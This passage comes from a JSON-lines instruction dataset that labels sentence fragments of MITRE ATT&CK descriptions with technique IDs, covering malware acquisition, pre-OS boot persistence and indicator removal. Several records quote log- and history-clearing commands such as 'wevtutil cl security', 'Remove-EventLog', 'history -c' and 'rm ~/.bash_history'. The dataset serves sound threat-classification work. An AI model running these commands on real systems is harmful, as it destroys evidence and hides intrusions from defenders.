defenses, and executing post-compromise behaviors. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals.", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).", "output": "T1588.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). ### Response: T1588.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the booting process of a computer, firmware and various startup services are loaded before the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the booting process of a computer, firmware and various startup services are loaded before the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.", "output": "T1542", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. ### Response: T1542."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify component firmware to persist on systems.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify component firmware to persist on systems. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "output": "T1542.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks. ### Response: T1542.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete files left behind by the actions of their intrusion activity.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete files left behind by the actions of their intrusion activity. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016)", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS.", "output": "T1070.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS. ### Response: T1070.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file time attributes to hide new or changes to existing files.", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file time attributes to hide new or changes to existing files. ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", "output": "T1070.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques) ### Response: T1070.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify mail and mail application data to remove evidence of their activity.", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify mail and mail application data to remove evidence of their activity. ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs.", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests.", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534),", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code>", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation:", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ExchangePowerShell Module)", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ExchangePowerShell Module) ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation:", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cybereason Cobalt Kitty 2017)(Citation: mailx man page)", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cybereason Cobalt Kitty 2017)(Citation: mailx man page) ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation:", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft OAuth Spam 2022)", "output": "T1070.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft OAuth Spam 2022) ### Response: T1070.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear system logs to hide evidence of an intrusion.", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear system logs to hide evidence of an intrusion. ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS and Linux both keep track of system or user-initiated actions via system logs.", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS and Linux both keep track of system or user-initiated actions via system logs. ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The majority of native system logging is stored under the <code>/var/log/</code> directory.", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The majority of native system logging is stored under the <code>/var/log/</code> directory. ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login records\n* <code>/var/log/kern.log</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login records\n* <code>/var/log/kern.log</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kernel logs\n*", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kernel logs\n* ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>/var/log/cron.log</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>/var/log/cron.log</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear Windows Event Logs to hide the activity of an intrusion. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Event Logs are a record of a computer's alerts and notifications.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Event Logs are a record of a computer's alerts and notifications. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging) ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity.", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112),", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm)", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation:", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Talos - Cisco Attack 2022)", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Talos - Cisco Attack 2022) ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation:", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NCC Group Team9 June 2020)", "output": "T1070.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NCC Group Team9 June 2020) ### Response: T1070.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, these command histories can be accessed in a few different ways.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, these command histories can be accessed in a few different ways. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The benefit of this is that it allows users to go back to commands they've used before in different sessions.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The benefit of this is that it allows users to go back to commands they've used before in different sessions. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A)", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (<code>clear logging</code> and/or <code>clear history</code>).(Citation: US-CERT-TA18-106A) ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The built-in history only tracks the commands used in the current session.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The built-in history only tracks the commands used in the current session. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This command history is not available to other sessions and is deleted when the session ends.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This command history is not available to other sessions and is deleted when the session ends. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default).", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History) ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. ### Response: T1070.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file.", "output": "T1070.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This, however, will not delete/flush the 